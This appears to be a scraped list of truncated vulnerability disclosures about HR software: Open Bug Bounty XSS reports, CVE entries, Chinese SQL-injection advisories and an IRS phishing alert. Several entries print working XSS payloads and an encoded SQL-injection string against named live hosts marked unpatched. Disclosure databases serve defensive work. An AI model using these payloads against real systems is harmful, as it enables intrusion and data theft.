victoriassecretcanada-pinkcanada.mua.hrdepartment.com XSS vulnerability

Vulnerable URL: https://victoriassecretcanada-pinkcanada.mua.hrdepartment.com/hr/ats/JobSearch/viewAll/"onclick=alert/OPENBUGBOUNTY/CLICK HERE Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

yves-rocher-franchise.mua.hrdepartment.com XSS vulnerability

Vulnerable URL: https://yves-rocher-franchise.mua.hrdepartment.com/hr/ats/JobSearch/viewAll/"onclick=alert/OPENBUGBOUNTY/CLICK HERE Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

zhi.mua.hrdepartment.com XSS vulnerability

Vulnerable URL: https://zhi.mua.hrdepartment.com/hr/ats/JobSearch/viewAll/"onclick=alert/OPENBUGBOUNTY/CLICK HERE Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

hr-online.de XSS vulnerability

Vulnerable URL: http://www.hr-online.de/website/radio/hr2/flashplayer/flashdetection.swf?flashContentURL=javascript:alert/OPENBUGBOUNTY/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

hr-online.de XSS vulnerability

Vulnerable URL: http://www.hr-online.de/website/static/streamingpopup/mp3streamer.jsp?client=%3C/style%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

SQL Injection Vulnerability in Human Resource Network Management System of Hunan Qingguo Software Co.

Hunan Qingguo Software Co., Ltd. human resources network management system is mainly used in the field of university education management WEB system. The product exists /rlweb/data/rule.aspx?id=Page there is a SQL injection vulnerability, the injection parameter is: id Attackers can use the...

Cezanne HR for Mobile - External URLs, Native code usage, SD-card access vulnerabilities

HackApp vulnerability scanner discovered that application Cezanne HR for Mobile published at the 'play' market has multiple vulnerabilities...

Unspecified Vulnerability in Oracle PeopleSoft Products PeopleSoft Enterprise HCM Component (CNVD-2016-02557)

Oracle PeopleSoft is a suite of enterprise human capital management solutions from Oracle.PeopleSoft Enterprise HCM Candidate Gateway is a self-service front-end to the Oracle PeopleSoft Enterprise Recruiting solution component. An unspecified vulnerability exists in the Fusion HR Talent...

CVE-2016-0407

Unspecified vulnerability in the PeopleSoft Enterprise HCM component in Oracle PeopleSoft Products 9.1 and 9.2 allows remote authenticated users to affect confidentiality via vectors related to Fusion HR Talent Integration...

Design/Logic Flaw

Unspecified vulnerability in the PeopleSoft Enterprise HCM component in Oracle PeopleSoft Products 9.1 and 9.2 allows remote authenticated users to affect confidentiality via vectors related to Fusion HR Talent Integration...

CVE-2016-0407

CVE-2016-0407 affects Oracle PeopleSoft Enterprise HCM (Fusion HR Talent Integration) in PeopleSoft Products v9.1 and v9.2. The vulnerability is described as an unspecified issue that allows remote authenticated users to access data and compromise confidentiality. Affected component/area: Fusion ...

CVE-2016-0407

Unspecified vulnerability in the PeopleSoft Enterprise HCM component in Oracle PeopleSoft Products 9.1 and 9.2 allows remote authenticated users to affect confidentiality via vectors related to Fusion HR Talent Integration...

CVE-2016-0407

Unspecified vulnerability in the PeopleSoft Enterprise HCM component in Oracle PeopleSoft Products 9.1 and 9.2 allows remote authenticated users to affect confidentiality via vectors related to Fusion HR Talent Integration...

RuvarHRM 人力资源管理系统 accounts_list.aspx SQL注入

exp: http://oa.hnlxbus.com:8081/RuvarHRM/admin/accountslist.aspx?udepartmentid=1%27and%201%3Dconvert%28int%2C%20CHAR%28126%29%20%2b%20CHAR%28126%29%20%2b%20CHAR%28126%29%2bdbname%28%29%2b%20CHAR%28126%29%20%2b%20CHAR%28126%29%20%2b%20CHAR%28126%29%29--...

hr-iNFO - Dynamic Code Loading, External URLs, Native code usage vulnerabilities

HackApp vulnerability scanner discovered that application hr-iNFO published at the 'play' market has multiple vulnerabilities...

用友NC人力资源管理（e-HR） /hrss/rm/PositionDetail.jsp SQL注入漏洞

No description provided by source...

IRS Issues Alert for Tax Phishing Scheme

The Internal Revenue Service IRS has issued a news release addressing a new spear phishing scheme targeting payroll and human resource professionals. In this scheme, cybercriminals pose as company executives requesting personal information on employees. US-CERT encourages users and administrators...

CVE-2016-0537

Unspecified vulnerability in the Oracle Human Resources component in Oracle E-Business Suite 11.5.10.2 allows remote attackers to affect confidentiality and integrity via unknown vectors related to Person...

Ruvar人力资源管理系统select_baseinfo.aspx bt_name参数SQL注入漏洞

No description provided by source...

用友NC综合办公系统 /epp/html/nodes/upload/SupdocDo.jsp SQL注入漏洞

用友NC综合办公系统SQL注入漏洞，可同时影响多个办公系统HR资源管理系统、UFO报表系统等的数据库 注入链接：/epp/detail/publishinfomore.jsp?pkinfotype= 注入参数：pkinfotype 必须先访问/epp/index.jsp后产生cookie才能进行SQL注入 测试案例： http://nc.xhlbdc.com 访问首页产生cookie： http://nc.xhlbdc.com/epp/index.jsp...